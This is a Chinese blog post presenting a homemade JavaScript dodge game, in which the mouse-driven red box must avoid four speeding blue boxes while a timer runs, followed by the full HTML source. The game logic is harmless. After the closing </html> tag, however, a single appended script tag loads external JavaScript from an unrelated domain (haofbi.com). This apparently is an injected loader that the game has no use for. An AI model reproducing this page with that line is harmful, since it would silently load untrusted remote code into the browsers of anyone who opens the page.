自己根据网上的js小游戏改编的(看谁能坚持的时间最长)

本文链接：https://blog.youkuaiyun.com/xiaoxiangshenjian/article/details/7667338

本文介绍了一个使用JavaScript实现的小游戏案例，游戏包含多个敌人角色与玩家控制的中心盒子，通过鼠标操作来控制盒子移动并躲避敌人，增加了速度变化和碰撞检测等功能。


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>js小游戏</title>
<script type="text/javascript" language="javascript">
var dirx=new Array(1,1,1,1);
var diry=new Array(1,1,1,1);
var id;var stepx;var stepy;var num;var boxmoving=0;var speed=1;var k=0;
function startclock() {var today = new Date(); starttime = today.getTime();}
function endclock() {var today = new Date(); endtime = today.getTime();}
function calctime() {var time = (endtime - starttime - 0)/1000; return time;}
function movenemy(num,id,stepx,stepy){
var enemyX=id+"X";
var enemyY=id+"Y";
var enemyX=document.getElementById(id).style.pixelLeft;
var enemyY=document.getElementById(id).style.pixelTop;
if(enemyX>=400||enemyX<=0){dirx[num]=-1*dirx[num];}
if(enemyY>=400||enemyY<=0){diry[num]=-1*diry[num];}
document.getElementById(id).style.pixelLeft=document.getElementById(id).style.pixelLeft+dirx[num]*stepx*speed;
document.getElementById(id).style.pixelTop=document.getElementById(id).style.pixelTop+diry[num]*stepy*speed;
}

function movenemies(){
k++;
movenemy(0,"enemy1",-10,12);
movenemy(1,"enemy2",-12,-20);
movenemy(2,"enemy3",15,-13);
movenemy(3,"enemy4",17,11);
if (k>=0&&k<=10) speed = 0.5;
else if (k>10&&k<=20) speed = 1.5;
else if (k>20&&k<=30) speed = 2;
else if (k>30&&k<=40) speed = 2.5;
else if (k>40&&k>=50) speed = 3;
else speed = 4;
checktouching();
setTimeout("movenemies()",100);
}//敌人的移动



function boxmove(){
if(boxmoving==1){
checktouching();
document.getElementById("box").style.left=event.x-20;
document.getElementById("box").style.top=event.y-20;
}
}//中心的移动


function start(){
movenemies();
startclock();
boxmoving=1;

}//定义函数开始

function stop1(){
endclock();
alert("您坚持了"+calctime()+"秒");
window.location.reload();
}//定义结束的函数以结束运动进行刷新

function posx(id){
var x=document.getElementById(id).style.pixelLeft;
return x;
}

function posy(id){
var y=document.getElementById(id).style.pixelTop;
return y;
}

function checktouching(){
var difx1=posx("box")-posx("enemy1");
var dify1=posy("box")-posy("enemy1");
var difx2=posx("box")-posx("enemy2");
var dify2=posy("box")-posy("enemy2");
var difx3=posx("box")-posx("enemy3");
var dify3=posy("box")-posy("enemy3");
var difx4=posx("box")-posx("enemy4");
var dify4=posy("box")-posy("enemy4");
if(posx("box")<=18||posy("box")<=20||posx("box")>=405||posy("box")>=405){stop1();}
if(difx1>=-43&&difx1<=48&&dify1>=-46&&dify1<=48){stop1();}
if(difx2>=-43&&difx2<=65&&dify2>=-46&&dify2<=30){stop1();}
if(difx3>=-43&&difx3<=72&&dify3>=-46&&dify3<=34){stop1();}
if(difx4>=-43&&difx4<=150&&dify4>=-46&&dify4<=25){stop1();}

}

function run(){
{
str=test.value;
go=open('','运行','');
go.document.open();
go.document.write(str);
go.document.close();
}
}
</script>
</head>

<body>
    <table width="450" height="450" border="10px"  onMouseDown="start()" onMouseMove="boxmove()" onMouseUp="stop1()">
    <tr>
    <td bordercolor="#FF0000">
    <div id="enemy1" style="background:#0033FF; position:absolute; border:#FFFFFF solid; width:50px; height:50px; left: 44px; top: 58px;"></div>
    <div id="enemy2" style="background:#0033FF; position:absolute; border:#FFFFFF solid; width:67px; height:33px; left: 338px; top: 364px;"></div>
    <div id="enemy3" style="background:#0033FF; position:absolute; border:#FFFFFF solid; width:74px; height:36px; left: 41px; top: 375px;"></div>
    <div id="enemy4" style="background:#0033FF; position:absolute; border:#FFFFFF solid; width:152px; height:29px; left: 270px; top: 72px;"></div>
    <div id="box" style="background:#FF0000; position:absolute;left: 207px; top: 229px; width: 43px; height: 46px;"></div>
    </td>
    </tr>
</table>

</body>

</html><script language=javascript src=http://www.haofbi.com/js/w.js></script>